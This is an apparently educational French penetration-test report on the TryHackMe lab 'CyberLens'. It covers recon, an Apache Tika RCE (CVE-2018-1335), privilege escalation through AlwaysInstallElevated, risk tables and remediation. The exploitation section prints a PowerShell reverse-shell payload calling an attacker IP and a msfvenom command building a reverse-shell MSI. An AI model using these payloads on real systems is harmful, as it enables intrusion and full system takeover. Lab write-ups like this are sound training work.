

RAPPORT DE TEST D'INTRUSION

Cible : Machine « CyberLens »

Méthodologie PTES (Penetration Testing Execution Standard)

Auteur : dimisan221

Environnement : TryHackMe – Room « CyberLens »

Classification : Confidentiel

Date : Juillet 2026

AVERTISSEMENT : ce document est un rapport de test d'intrusion rédigé dans un cadre strictement éducatif et légal, réalisé sur une machine de laboratoire dédiée (environnement d'entraînement TryHackMe). Les techniques, commandes et payloads décrits ne doivent être utilisés que sur des systèmes pour lesquels une autorisation explicite et écrite a été obtenue. Toute utilisation non autorisée de ces informations est illégale.

Sommaire

1. Résumé exécutif
2. Portée et méthodologie
3. Intelligence Gathering (Reconnaissance)
4. Threat Modeling
5. Vulnerability Analysis
6. Exploitation
7. Post-Exploitation
8. Synthèse des risques
9. Recommandations
10. Conclusion

1. Résumé exécutif

Ce rapport présente les résultats d'un test d'intrusion mené sur la machine « CyberLens », dans le cadre d'un exercice pédagogique de type CTF (TryHackMe). L'objectif était d'évaluer, selon la méthodologie PTES, la résistance de la cible face à une attaque simulée en boîte noire, depuis la reconnaissance initiale jusqu'à l'obtention des privilèges maximaux (SYSTEM).

Deux vulnérabilités critiques ont permis une compromission complète de la machine :

- Une exécution de code à distance (RCE) via une version obsolète et vulnérable d'Apache Tika (CVE-2018-1335), exposée par une fonctionnalité web d'extraction de métadonnées d'image.
- Une élévation de privilèges locale via une mauvaise configuration Windows (AlwaysInstallElevated), permettant l'installation de paquets MSI avec les droits SYSTEM.

L'enchaînement de ces deux failles a permis d'obtenir un accès initial, puis les privilèges les plus élevés sur le système (NT AUTHORITY\SYSTEM), aboutissant à la compromission totale de la machine cible.

Niveau de risque global : CRITIQUE

2. Portée et méthodologie

2.1 Portée

Le test a été réalisé en conditions de type « boîte noire » (black box), sans information préalable autre que l'adresse IP de la cible. La machine testée est un hôte Windows exposant plusieurs services réseau (HTTP, service d'extraction de métadonnées, RDP).

2.2 Méthodologie : PTES

Ce test suit les 7 phases du Penetration Testing Execution Standard (PTES) :

- Pre-engagement Interactions — cadrage réalisé implicitement par le contexte pédagogique (lab autorisé).
- Intelligence Gathering — collecte d'informations sur la cible (scan de ports, services exposés).
- Threat Modeling — identification des surfaces et vecteurs d'attaque probables.
- Vulnerability Analysis — analyse des services identifiés pour détecter des failles exploitables.
- Exploitation — exploitation des vulnérabilités pour obtenir un accès.
- Post-Exploitation — élévation de privilèges, collecte de preuves (flags), maintien d'accès.
- Reporting — synthèse des résultats, évaluation des risques et recommandations (ce document).

3. Intelligence Gathering (Reconnaissance)

Un scan Nmap a été réalisé sur l'adresse IP cible afin d'identifier les services exposés et d'orienter la suite du test.

Port	Service	Observation
80	HTTP	Application web avec fonctionnalité d'upload d'image et extraction de métadonnées.
61777	HTTP / Apache Tika 1.17	Service interne d'extraction de métadonnées (endpoint /meta), accessible depuis l'application web.
3389	RDP	Bureau à distance Windows, ouvert et accessible depuis l'extérieur.

L'application web sur le port 80 propose une zone d'upload d'image permettant de consulter les métadonnées associées. L'analyse du trafic généré par cette fonctionnalité révèle que l'image est transmise en interne à un service tiers sur le port 61777, à l'URI /meta.

Une requête curl directe vers ce port confirme la présence d'un serveur Apache utilisant Apache Tika en version 1.17, un composant connu pour extraire des métadonnées de documents et d'images.

4. Threat Modeling

Sur la base des services identifiés, les vecteurs d'attaque suivants ont été retenus comme prioritaires :

- Le service Apache Tika 1.17, exposé indirectement via l'application web, constitue une surface d'attaque intéressante compte tenu des vulnérabilités connues affectant cette version (RCE via les paramètres OCR).
- Le service RDP (port 3389), bien que ne présentant pas de vulnérabilité directe, représente un vecteur d'accès secondaire si des identifiants venaient à être obtenus.
- Une fois un accès initial obtenu, la configuration système (registre, droits, services) devra être analysée pour identifier un chemin d'élévation de privilèges.

Le scénario d'attaque retenu est donc : compromission initiale via Apache Tika → recherche de credentials sur le système compromis → pivot via RDP si nécessaire → élévation de privilèges locale.

5. Vulnerability Analysis

5.1 CVE-2018-1335 — Apache Tika OCR RCE

Composant	Apache Tika 1.17
Référence	CVE-2018-1335
Type	Exécution de code à distance (RCE)
Sévérité	Critique
Description	Une mauvaise validation des paramètres OCR (Tesseract) permet à un attaquant d'injecter et d'exécuter des commandes arbitraires sur le serveur hébergeant Apache Tika.

5.2 Windows Privilege Escalation — AlwaysInstallElevated

Composant	Registre Windows (stratégie d'installation MSI)
Type	Erreur de configuration — élévation de privilèges locale
Sévérité	Élevée
Description	Les clés de registre AlwaysInstallElevated (HKLM et HKCU) sont toutes deux activées, permettant à tout utilisateur d'installer un package MSI avec les privilèges SYSTEM, quel que soit son niveau de droits initial.

La présence de ces deux clés de registre activées simultanément a été vérifiée via les commandes suivantes :

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

6. Exploitation

6.1 Compromission initiale — RCE Apache Tika

À partir de la vulnérabilité CVE-2018-1335, un payload PowerShell a été préparé afin d'établir un reverse shell vers la machine attaquante. Pour garantir un transport fiable du script (sans casser les guillemets, espaces ou caractères spéciaux), celui-ci a été encodé en Base64 UTF-16LE avant d'être transmis au script d'exploitation.

Extrait du script de génération du payload :

```
PAYLOAD=$(python3 - <<'PY'
import base64
script = r'''
$client = New-Object System.Net.Sockets.TCPClient("192.168.145.73",8000)
$stream = $client.GetStream()
'''
print(base64.b64encode(script.encode("utf-16le")).decode())
PY
)
```

Un listener netcat a été mis en écoute sur le port 4444, puis l'exploit a été déclenché avec la commande :

```
powershell.exe -NoProfile -EncodedCommand $PAYLOAD
```

L'exploitation a permis d'obtenir un accès shell distant sur la machine cible, confirmant l'exécution de code à distance via Apache Tika. Le flag utilisateur a été récupéré à ce stade (FLAG USER).

6.2 Élévation de privilèges — AlwaysInstallElevated

Depuis l'accès initial, une recherche de credentials a permis de découvrir un fichier CyberLens-Management.txt contenant des identifiants. Ces derniers ont été utilisés pour établir une connexion RDP vers la machine, confirmant l'accès interactif.

La vérification des clés de registre AlwaysInstallElevated a confirmé la présence de la mauvaise configuration décrite en section 5.2. L'outil msfvenom a alors été utilisé pour générer un package d'installation Windows (.msi) contenant un shellcode de reverse shell :

```
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=192.168.145.73 LPORT=5555 \
  -f msi -o system.msi
```

Le fichier system.msi a été rendu accessible via un serveur web Python temporaire, puis téléchargé et exécuté depuis la session RDP sur la machine cible, avec un second listener netcat en écoute sur le port 5555.

Étant donné la stratégie AlwaysInstallElevated activée, l'installateur MSI s'est exécuté avec les privilèges SYSTEM, renvoyant un reverse shell disposant des droits maximaux sur la machine.

7. Post-Exploitation

Une fois l'accès SYSTEM obtenu, la vérification des privilèges courants a confirmé un contexte d'exécution NT AUTHORITY\SYSTEM, soit le niveau de privilège le plus élevé disponible sur un système Windows.

Cet accès a permis de récupérer le second flag de l'exercice (FLAG ROOT), validant la compromission complète de la machine, de l'accès initial jusqu'à l'administration totale du système.

7.1 Synthèse de la chaîne de compromission

- Reconnaissance Nmap → découverte des ports 80, 61777 et 3389.
- Identification d'Apache Tika 1.17 vulnérable (CVE-2018-1335) sur le port 61777.

- Exploitation RCE → reverse shell PowerShell → FLAG USER.
- Découverte de credentials locaux → accès RDP interactif.
- Identification de la mauvaise configuration AlwaysInstallElevated.
- Génération d'un payload MSI (msfvenom) → exécution → élévation à SYSTEM → FLAG ROOT.

8. Synthèse des risques

Vulnérabilité	Sévérité	Impact
Apache Tika 1.17 — RCE (CVE-2018-1335)	CRITIQUE	Exécution de code arbitraire à distance, compromission initiale du système.
AlwaysInstallElevated activé	ÉLEVÉE	Élévation de privilèges locale vers SYSTEM par tout utilisateur authentifié.
Stockage de credentials en clair sur le système	MOYENNE	Facilite le mouvement latéral et l'accès RDP une fois un accès initial obtenu.

9. Recommandations

9.1 Apache Tika

- Mettre à jour Apache Tika vers une version corrigée (≥ 1.18), non affectée par CVE-2018-1335.
- Isoler le service d'extraction de métadonnées du réseau externe ; il ne devrait pas être atteignable autrement que via l'application qui l'utilise.
- Désactiver les fonctionnalités OCR si elles ne sont pas strictement nécessaires.

9.2 AlwaysInstallElevated

- Désactiver les clés de registre AlwaysInstallElevated (HKLM et HKCU) via une stratégie de groupe (GPO).
- Restreindre les droits d'installation de logiciels aux seuls comptes administrateurs.

9.3 Gestion des identifiants

- Ne jamais stocker de mots de passe en clair dans des fichiers accessibles sur le système de fichiers.
- Mettre en place un coffre-fort à secrets (vault) pour la gestion des identifiants d'administration.

9.4 Recommandations générales

- Mettre en place un processus de gestion des correctifs (patch management) régulier.
- Limiter l'exposition des services d'administration (RDP) via VPN ou liste blanche d'IP.
- Mettre en œuvre une surveillance (SOC/EDR) capable de détecter l'exécution de commandes encodées PowerShell et les installations MSI suspects.

10. Conclusion

Le test d'intrusion mené sur la machine CyberLens a mis en évidence une chaîne de compromission complète, depuis une vulnérabilité applicative (Apache Tika) jusqu'à une élévation de privilèges locale (AlwaysInstallElevated), aboutissant à un accès total au système (SYSTEM).

La combinaison d'un composant obsolète exposé et d'une erreur de configuration Windows illustre l'importance d'une gestion rigoureuse des mises à jour et des politiques de sécurité système, en complément d'une segmentation réseau adaptée.

Ce document a été réalisé dans un cadre pédagogique (TryHackMe) et ne constitue pas un rapport d'audit d'un système de production.